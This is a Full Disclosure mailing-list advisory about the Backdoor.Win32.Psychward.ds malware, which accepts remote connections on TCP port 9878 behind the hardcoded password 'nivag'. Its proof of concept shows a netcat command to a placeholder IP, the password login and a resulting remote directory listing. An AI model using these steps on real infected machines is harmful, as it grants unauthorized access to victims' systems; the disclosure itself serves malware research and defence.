full-disclosure - [FD] Backdoor.Win32.Psychward.ds / Weak Hardcoded Password

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Message-ID: <CAAHK0WSN2pgByOOyf4u0esJh7GnND1Y2fECKEKi8bWfNnx1RTw@mail.gmail.com>
Date: Tue, 18 May 2021 17:12:34 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Psychward.ds / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9e22514c9b0e74c7fcb07b7c091f6123.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a password
for remote user access. However, the backdoors password "nivag" is weak and
hardcoded in plaintext within the executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
dir
<..>
&lt;addins&gt;
&lt;appcompat&gt;
&lt;apppatch&gt;
&lt;AppReadiness&gt;
assembly             0
Backdoor.Win32.Psychward.ds.9e22514c9b0e74c7fcb07b7c091f6123.exe 51433
&lt;bcastdvr&gt;
bfsvc.exe            65536
BitLockerDiscoveryVolumeContents 0
&lt;Boot&gt;
bootstat.dat         67584
&lt;Branding&gt;
&lt;CbsTemp&gt;
&lt;Containers&gt;
&lt;CSC&gt;
&lt;Cursors&gt;
&lt;debug&gt;
&lt;DeliveryOptimization&gt;
diagerr.xml          7623
&lt;diagnostics&gt;
diagwrn.xml          7623
&lt;DigitalLocker&gt;
Downloaded Program Files 0
ELAMBKUP             0
&lt;en-US&gt;
Enterprise.xml       35990
explorer.exe         3904296
Fonts                0
&lt;GameBarPresenceWriter&gt;
&lt;Globalization&gt;
&lt;Help&gt;
HelpPane.exe         976896

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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